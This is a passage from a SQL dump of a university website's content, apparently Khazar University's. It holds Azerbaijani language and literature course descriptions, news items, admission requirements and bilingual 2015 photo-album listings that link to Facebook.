introductions, apologizing, condolences, praying, etc.</p><p><br></p><p><strong>AZLL 104: Advanced Azerbaijani Language (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 101</strong></p><p>More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p><br></p><p><strong>AZLL 105: Azerbaijani Literature (University Requirement) (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 101</strong></p><p>The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p><br></p><p><strong>AZLL 106: Modern Azerbaijani Language 1 (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p><br></p><p><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p>The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of 3 credits:</p><p><strong>1.&nbsp;AZLL 107: History of Azerbaijani Literature 1:</strong></p><p><strong></strong><strong>Azerbaijani Folklore</strong></p><p><strong></strong><strong>Prerequisite: NONE</strong></p><p><strong>2.&nbsp;AZLL 109: History of Azerbaijani Literature 2:</strong></p><p><strong>Ancient and Medieval Literature</strong></p><p><strong></strong><strong>Prerequisite: AZLL 107</strong></p><p><strong></strong><strong>3.&nbsp;AZLL 207: History of Azerbaijani Literature 3:</strong></p><p><strong></strong><strong>Azerbaijani Literature from 17th to mid-19<sup>th</sup> centuries&nbsp;</strong></p><p><strong></strong><strong>Prerequisite: AZLL 109</strong></p><p><strong></strong><strong>4.&nbsp;AZLL 208: History of Azerbaijani Literature 4:</strong></p><p><strong></strong><strong>Azerbaijani Literature from mid-19th to early 20<sup>th</sup> centuries</strong></p><p><strong></strong><strong>Prerequisite: AZLL 207</strong></p><p><strong></strong><strong>5.&nbsp;AZLL 307: History of Azerbaijani Literature 5:</strong></p><p><strong></strong><strong>20<sup>th</sup> century Azerbaijani Literature</strong></p><p><strong>Prerequisite: AZLL 208</strong></p><p><strong><br></strong></p><p><strong></strong><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (6&nbsp;credits)</strong></p><p><strong></strong><strong>Prerequisite: AZLL 106</strong></p>\r\n<p>All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p><br></p><p><strong>AZLL 205: Advanced Azerbaijani Literature (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 105</strong></p><p>This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p><strong><br></strong></p><p><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 108</strong></p><p>It explains teaching of word combinations, syntactic relations, sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p><br></p><p><strong>AZLL 306: History of Azerbaijani Literary Language (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 206</strong></p><p>This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p><br></p><p><br></p><p><strong>AZLL 416: Fundamentals of Literary Critics (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (8&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p><br></p><p><strong>AZLL 512: Azerbaijani Dialectology (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p><br></p><p><strong>AZLL 513: Onomastics (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p><br></p><p><strong>AZLL 514: Textual Criticism (6&nbsp;credits)</strong></p><p><strong></strong><strong>Prerequisite: Consent of instructor</strong></p><p>Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p><br></p><p><strong>AZLL 515: Azerbaijani Historical Grammar (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p>'),(3554,2079,'en',' Khazar Staff Members in \"The International Symposium on Prof. Halil Inalcık History and Historıography\"','2017 April 10- 13, \"The International Symposium on Prof. Halil Inalcık History and Historiography\" was organized  at Gazi University, Turkey  in  joint cooperation with...','<p>2017 April 10- 13, \"The International Symposium on Prof. Halil\r\nInalcık History and Historiography\" was organized &nbsp;at Gazi University, Turkey&nbsp; in&nbsp;\r\njoint cooperation with Prime Ministry Higher Institution of Ataturk\r\nCulture, Language and History, Turkish Historical Society and Gazi University.</p>\r\n<p>Representatives of Khazar university&nbsp;\r\nalso took part in the symposium. &nbsp;Elnura Azizova, PhD in theology, associate\r\nprofessor of the Department of Languages and Civilizations of University gave a\r\npresentation on “Volatility and Continuity in National History Writing: mutual\r\nanalysis on perception of Turkey, Iran, Russia in Soviet and Post-Soviet\r\nAzerbaijan (in the framework of history books). Zivar Huseynli, PhD in Philology,\r\nacting associate professor of the department also made a speech on “An Overview\r\nof the Turkish Identity in the Sixteenth Century Safavid Sources”</p>\r\n<p>At the end of the symposium, all participants were given\r\ncertificates.</p>'),(3555,2073,'en','Workshop on «Interactive Training Methods in Foreign Language Classes» Completed','On  April 15,  2017, the two-day workshop , entitled “Interactive Teaching Methods In Foreign Language Classes “ coordinated in a partnership with Khazar University Development...','<p>On&nbsp; April\r\n15,&nbsp; 2017, the two-day workshop ,\r\nentitled “Interactive Teaching Methods In Foreign Language Classes “\r\ncoordinated in a partnership with Khazar University Development Center and\r\nEstonia OÜ Lingator on the basis of famous \"English Language\r\nPortfolio\" program, was completed .</p>\r\n<p>It should be noted that the workshop was intended\r\nfor instructors, teaching English at universities and secondary schools and\r\nothers who are interested in teaching foreign languages. Ways of&nbsp; applying specific, practical active teaching\r\nmethods based on practical examples and role- plays, active teaching methods on\r\nvarious topics, as well as ones adjusted to age limit were covered in the\r\nworkshop. Importance and techniques of using movies during lessons were also introduced.</p>\r\n<p>Teachers of Khazar University and other\r\nuniversities and lyceums took part in the workshop. At the end of &nbsp;the workshop, certificates were presented to the\r\nparticipants. Estonian trainers were given gifts by Khazar University as well, &nbsp;and they participated in the meeting- concert entitled\r\n&nbsp;“Face-to-face with Ramiz Guliyev,”\r\nPeople\'s Artist of Azerbaijan, professor, tar player, at Khazar University\r\n“Dunya” concert hall.</p>'),(28,29,'en','Undergraduate Admission','Undergraduate Admission','<p>Azerbaijani citizens must submit the following documents:</p><p><strong>Application &amp; Admission for Undergraduate Students</strong></p><ul><li>Government Examination Center or SAT Score (min.1000 / 560 from Math)</li><li>Proof of English Language proficiency (eg. TOEFL: min.75, IELTS: min.6) compulsory for&nbsp;students&nbsp;with SAT Score  <br></li><li>Official Application form of Khazar University</li><li>Secondary School Certificate</li><li>Copy of Identity Card</li></ul><p>Nationals of other countries can directly apply to the University from their home countries. Different documents&nbsp;may be required for nationals of different countries,&nbsp;therefore prospective international students should contact&nbsp;the&nbsp;<a href=\"http://international.khazar.org\">International Affairs Office</a>&nbsp;for details.&nbsp;</p><p><strong>IB Admission Policy</strong></p><p><strong></strong>Students with IB diplomas (<a href=\"http://www.ibo.org/\">http://www.ibo.org/</a>) are welcome to apply to Khazar. Students who are still completing their final year of the IB program may apply, and will be considered for admission if they have predicted scores of 28 or higher.&nbsp;</p><p><strong>IB Diploma Scholarship</strong></p><p><strong></strong>Khazar University recognizes that students who have earned the IB diploma are ideally prepared for university studies. Applicants to all Khazar University undergraduate programs who have successfully completed the IB diploma with a score of 28 or higher are given a&nbsp;<strong>scholarship covering their full tuition</strong>&nbsp;for one semester during their studies at Khazar University.&nbsp;Applicants&nbsp;with scores of 36-40 are given a&nbsp;<strong>scholarship covering their full tuition for one year</strong>&nbsp;(two semesters). Applicants with scores of 41 or higher are given a&nbsp;<strong>full scholarship covering their tuition during their whole bachelor degree</strong>&nbsp;program.&nbsp;&nbsp;</p>'),(2941,1746,'az','Oktyabr','Oktyabr','<p style=\"background:undefined \">30.10.2015 Engineering faculty - Welcome Party (<a href=\"https://www.facebook.com/media/set/?set=a.1097894043554333.1073742063.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>30.10.2015 Student Information System (<a href=\"https://www.facebook.com/media/set/?set=a.1096537717023299.1073742060.799143400096067&amp;type=3&amp;uploaded=15\" target=\"_blank\">PHOTOS</a>)</p><p style=\"background:undefined \">23.10.2015-25.10.2015 Ağsu Arxeologiya YOCOCU məktəbi (<a href=\"https://www.facebook.com/media/set/?set=a.1095330170477387.1073742058.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.10.2015 Sinaqoqa ekskursiya (<a href=\"https://www.facebook.com/media/set/?set=a.1095245653819172.1073742057.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.10.2015 Qafqaz ACM ICPC Proqramlaşdırma (<a href=\"https://www.facebook.com/media/set/?set=a.1095242097152861.1073742055.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.10.2015 Dərsliklərin hazırlanması və qiymətləndirilməsi (<a href=\"https://www.facebook.com/media/set/?set=a.1094895953854142.1073742053.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.10.2015 Risk managament traning (<a href=\"https://www.facebook.com/media/set/?set=a.1094859647191106.1073742051.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.10.2015 \"Xəzər\" - \"Qərb\" universitetlərinin futbol qarşılaşmas (<a href=\"https://www.facebook.com/media/set/?set=a.1094847047192366.1073742049.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.10.2015: Meeting with Freshmen of School of Engineering and Applied Sciences - (<a href=\"https://www.facebook.com/media/set/?set=a.1093501323993605.1073742047.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>23.10.2015 Risk Management Seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1094859647191106.1073742051.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>22.10.2015&nbsp;Rector Meets with New International Students&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">S</a>)</p><p>22.10.2015 Kulakov Sergey in the Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">S</a>)</p><p>20.10.2015 School of Education’s Annual Welcome Party<a title=\"School of Education’s Annual Welcome Party\" href=\"http://www.khazar.org/news/2015/School-of-Educations-Annual-Welcome-Party_7191.html\"></a>&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">S</a>)</p><p>19.10.2015 Knowledge Bowl Winners Awarded&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>19.10.2015 Bilik yarışı - mükafatlanma (<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">FOTO</a>)  <br></p><p style=\"background:undefined \">&nbsp;17.10.2015 Həsən Niknafs və 1-ci kurs mühəndislik tələbələri (<a href=\"https://www.facebook.com/media/set/?set=a.1090813977595673.1073742041.799143400096067&amp;type=3\">FOTO</a>)</p><p>17.10.2015 Hamlet Isaxanlının 1-ci kurs tələbələri ilə görüşü (<a href=\"https://www.facebook.com/media/set/?set=a.1090811174262620.1073742040.799143400096067&amp;type=3\">FOTO</a>)</p><p>17.10.2015 Meeting with Freshmen (<a href=\"https://www.facebook.com/media/set/?set=a.1090811174262620.1073742040.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>16.10.2015 Khazar University Students and Staff Visit Baku International Sea Trade Port&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1090413284302409.1073742039.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.10.2015 Human and Animal Physiology Class Held in Laboratory&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1088447121165692.1073742038.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.10.2015 Legal Training Center Event&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1087479151262489.1073742037.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>09.10.2015 Medical Biology Class Held in Laboratory&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1086945807982490.1073742035.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>08.10.15 General Biology Class Held in Laboratory (<a href=\"https://www.facebook.com/media/set/?set=a.1086507348026336.1073742034.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>07.10.15 New Laboratory Classes (<a href=\"https://www.facebook.com/media/set/?set=a.1086068504736887.1073742033.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>03.10.2015 38-39th Graduation Ceremony&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1085252698151801.1073742031.799143400096067&amp;type=3\" target=\"_blank\">FOTO)</a></p>'),(2942,1746,'en','October','October','<p>30.10.2015 Engineering faculty - Welcome Party (<a href=\"https://www.facebook.com/media/set/?set=a.1097894043554333.1073742063.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>30.10.2015 Student Information System (<a href=\"https://www.facebook.com/media/set/?set=a.1096537717023299.1073742060.799143400096067&amp;type=3&amp;uploaded=15\" target=\"_blank\">PHOTOS</a>)</p><p style=\"background:undefined \">23.10.2015-25.10.2015 Ağsu Arxeologiya YOCOCU məktəbi (<a href=\"https://www.facebook.com/media/set/?set=a.1095330170477387.1073742058.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.10.2015 Sinaqoqa ekskursiya (<a href=\"https://www.facebook.com/media/set/?set=a.1095245653819172.1073742057.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.10.2015 Qafqaz ACM ICPC Proqramlaşdırma (<a href=\"https://www.facebook.com/media/set/?set=a.1095242097152861.1073742055.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.10.2015 Dərsliklərin hazırlanması və qiymətləndirilməsi (<a href=\"https://www.facebook.com/media/set/?set=a.1094895953854142.1073742053.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.10.2015 Risk managament traning (<a href=\"https://www.facebook.com/media/set/?set=a.1094859647191106.1073742051.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.10.2015 \"Xəzər\" - \"Qərb\" universitetlərinin futbol qarşılaşmas (<a href=\"https://www.facebook.com/media/set/?set=a.1094847047192366.1073742049.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.10.2015: Meeting with Freshmen of School of Engineering and Applied Sciences - (<a href=\"https://www.facebook.com/media/set/?set=a.1093501323993605.1073742047.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>23.10.2015 Risk Management Seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1094859647191106.1073742051.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>22.10.2015&nbsp;Rector Meets with New International Students&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\">S</a>)</p><p>22.10.2015 Kulakov Sergey in the Khazar University (<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">S</a>)</p><p>20.10.2015 School of Education’s Annual Welcome Party<a title=\"School of Education’s Annual Welcome Party\" href=\"http://www.khazar.org/news/2015/School-of-Educations-Annual-Welcome-Party_7191.html\"></a>&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">S</a>)</p><p>19.10.2015 Knowledge Bowl Winners Awarded&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>19.10.2015 Bilik yarışı - mükafatlanma (<a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\">FOTO</a>)  <br></p><p style=\"background:undefined \">&nbsp;17.10.2015 Həsən Niknafs və 1-ci kurs mühəndislik tələbələri (<a href=\"https://www.facebook.com/media/set/?set=a.1090813977595673.1073742041.799143400096067&amp;type=3\">FOTO</a>)</p><p>17.10.2015 Hamlet Isaxanlının 1-ci kurs tələbələri ilə görüşü (<a href=\"https://www.facebook.com/media/set/?set=a.1090811174262620.1073742040.799143400096067&amp;type=3\">FOTO</a>)</p><p>17.10.2015 Meeting with Freshmen (<a href=\"https://www.facebook.com/media/set/?set=a.1090811174262620.1073742040.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>16.10.2015 Khazar University Students and Staff Visit Baku International Sea Trade Port&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1090413284302409.1073742039.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.10.2015 Human and Animal Physiology Class Held in Laboratory&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1088447121165692.1073742038.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.10.2015 Legal Training Center Event&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1087479151262489.1073742037.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>09.10.2015 Medical Biology Class Held in Laboratory&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1086945807982490.1073742035.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>08.10.15 General Biology Class Held in Laboratory (<a href=\"https://www.facebook.com/media/set/?set=a.1086507348026336.1073742034.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>07.10.15 New Laboratory Classes (<a href=\"https://www.facebook.com/media/set/?set=a.1086068504736887.1073742033.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>03.10.2015 38-39th Graduation Ceremony&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1085252698151801.1073742031.799143400096067&amp;type=3\" target=\"_blank\">FOTO)</a></p>'),(2943,1747,'az','Noyabr','Noyabr','<p>30.11.2015 Əlibaba Abdullayev 100 (<a href=\"https://www.facebook.com/media/set/?set=a.1111574922186245.1073742123.799143400096067&amp;type=3\">FOTO</a>)</p><p>30.11.2015 Ali məktəbdən müəsisəyə bir addım (<a href=\"https://www.facebook.com/media/set/?set=a.1111133388897065.1073742122.799143400096067&amp;type=3\">FOTO</a>)</p><p>28.11.2015 Miras təhsil fakultəsində (<a href=\"https://www.facebook.com/media/set/?set=a.1111074102236327.1073742121.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.11.2015 Endre İvarrud Neft Mühəndisliyi tələbələri üçün seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1109705732373164.1073742120.799143400096067&amp;type=3\">FOTO</a>)</p><p>27.11.2015 Emotional and lies seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1109686432375094.1073742119.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.11.2015 Koreya dili (<a href=\"https://www.facebook.com/media/set/?set=a.1109659382377799.1073742118.799143400096067&amp;type=3\">FOTO</a>)</p><p>27.11.2015 ESFIDIP (<a href=\"https://www.facebook.com/media/set/?set=a.1109656652378072.1073742117.799143400096067&amp;type=3\">FOTO</a>)26.11.2015 ISSICEU lahiyəsinin metodoloji seminarı (<a href=\"https://www.facebook.com/media/set/?set=a.1109065645770506.1073742116.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.11.15 Çin mədəniyyətindən incilər (<a href=\"https://www.facebook.com/media/set/?set=a.1108614739148930.1073742115.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.11.2015 Head of office of the Estonian Embassy in Baku (<a href=\"https://www.facebook.com/media/set/?set=a.1108614419148962.1073742114.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.11.2015 P&amp;G orientation day (<a href=\"https://www.facebook.com/media/set/?set=a.1107734719236932.1073742113.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.11.2015 Doktoranturaya qəbul imtahani (<a href=\"https://www.facebook.com/media/set/?set=a.1107667995910271.1073742112.799143400096067&amp;type=3\">FOTO</a>)</p><p>22.11.2015 Media training (<a href=\"https://www.facebook.com/media/set/?set=a.1107207015956369.1073742111.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Dərsliklərin qiymətləndirilməsi təlimi -&nbsp;Xarici dil (<a href=\"https://www.facebook.com/media/set/?set=a.1107196855957385.1073742110.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Dərsliklərin qiymətləndirilməsi təlimi -Təbiət elmləri (<a href=\"https://www.facebook.com/media/set/?set=a.1107196282624109.1073742109.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Dərsliklərin qiymətləndirilməsi təlimi -&nbsp;Sosial Elmlər (<a href=\"https://www.facebook.com/media/set/?set=a.1107195672624170.1073742108.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Dərsliklərin qiymətləndirilməsi təlimi - Riyaziyyat və İnformatika (<a href=\"https://www.facebook.com/media/set/?set=a.1107195105957560.1073742107.799143400096067&amp;type=3\">FOTO</a>)</p><p style=\"background:undefined \">20.11.2015 Theory of&nbsp;ray gravitation(<a href=\"https://www.facebook.com/media/set/?set=a.1106328189377585.1073742105.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.11.2015 Azarsun (<a href=\"https://www.facebook.com/media/set/?set=a.1104832806193790.1073742094.799143400096067&amp;type=3\">FOTO</a>)16.11.2015 Gabrielle Stravelli (<a href=\"https://www.facebook.com/media/set/?set=a.1104825756194495.1073742088.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102104336466637.1073742072.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Huseyn saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102117356465335.1073742080.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Vadjah saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102115966465474.1073742079.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Sevinc saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102114603132277.1073742078.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Sabina saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102114089798995.1073742077.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102112606465810.1073742076.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nigar saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102110919799312.1073742075.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Ismat saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102110516466019.1073742074.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Farid saw it (<a href=\"https://www.facebook.com/media/set/?set=a.1102109603132777.1073742073.799143400096067&amp;type=3\">FOTO</a>)</p><p>06.11.2015&nbsp;Textbooks Training (<a href=\"https://www.facebook.com/media/set/?set=a.1099746720035732.1073742071.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.11.2015&nbsp;Virtual Garabagh (<a href=\"https://www.facebook.com/media/set/?set=a.1099735430036861.1073742070.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>05.11.2015&nbsp;Newton\'s laws and Gravitation (<a href=\"https://www.facebook.com/media/set/?set=a.1099732730037131.1073742069.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>05.11.2015&nbsp;Biological and Environmental Sciences and Technologies (<a href=\"https://www.facebook.com/media/set/?set=a.1099247710085633.1073742068.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>04.11.2015&nbsp;General meeting of Religions and Cultures department (<a href=\"https://www.facebook.com/media/set/?set=a.1099219640088440.1073742067.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>04.11.2015 The problem of Personality in Azerbaijani public and pedagogical opinion (<a href=\"https://www.facebook.com/media/set/?set=a.1099217740088630.1073742066.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>02.11.2015&nbsp;Approved consert program (<a href=\"https://www.facebook.com/media/set/?set=a.1098349223508815.1073742064.799143400096067&amp;type=3\">PHOTOS</a>)</p>'),(2944,1747,'en','November','November','<p>30.11.2015&nbsp;Alibaba&nbsp;Abdullayev&nbsp;100&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1111574922186245.1073742123.799143400096067&amp;type=3\">FOTO</a>)</p><p>30.11.2015&nbsp;High&nbsp;school&nbsp;is a&nbsp;step in&nbsp;the enterprise(<a href=\"https://www.facebook.com/media/set/?set=a.1111133388897065.1073742122.799143400096067&amp;type=3\">FOTO</a>)</p><p>28.11.2015 Heritage, Department of Education (<a href=\"https://www.facebook.com/media/set/?set=a.1111074102236327.1073742121.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.11.2015&nbsp;Endre&nbsp;Ivarrud&nbsp;Petroleum Engineering&nbsp;seminar&nbsp;for students(<a href=\"https://www.facebook.com/media/set/?set=a.1109705732373164.1073742120.799143400096067&amp;type=3\">FOTO</a>)</p><p>27.11.2015 Emotional and lies seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1109686432375094.1073742119.799143400096067&amp;type=3\">FOTO</a>)24.11.2015 Korean&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1109659382377799.1073742118.799143400096067&amp;type=3\">FOTO</a>)</p><p>27.11.2015 ESFIDIP (<a href=\"https://www.facebook.com/media/set/?set=a.1109656652378072.1073742117.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.11.2015 Methodological seminar on the draft ISSICEU(<a 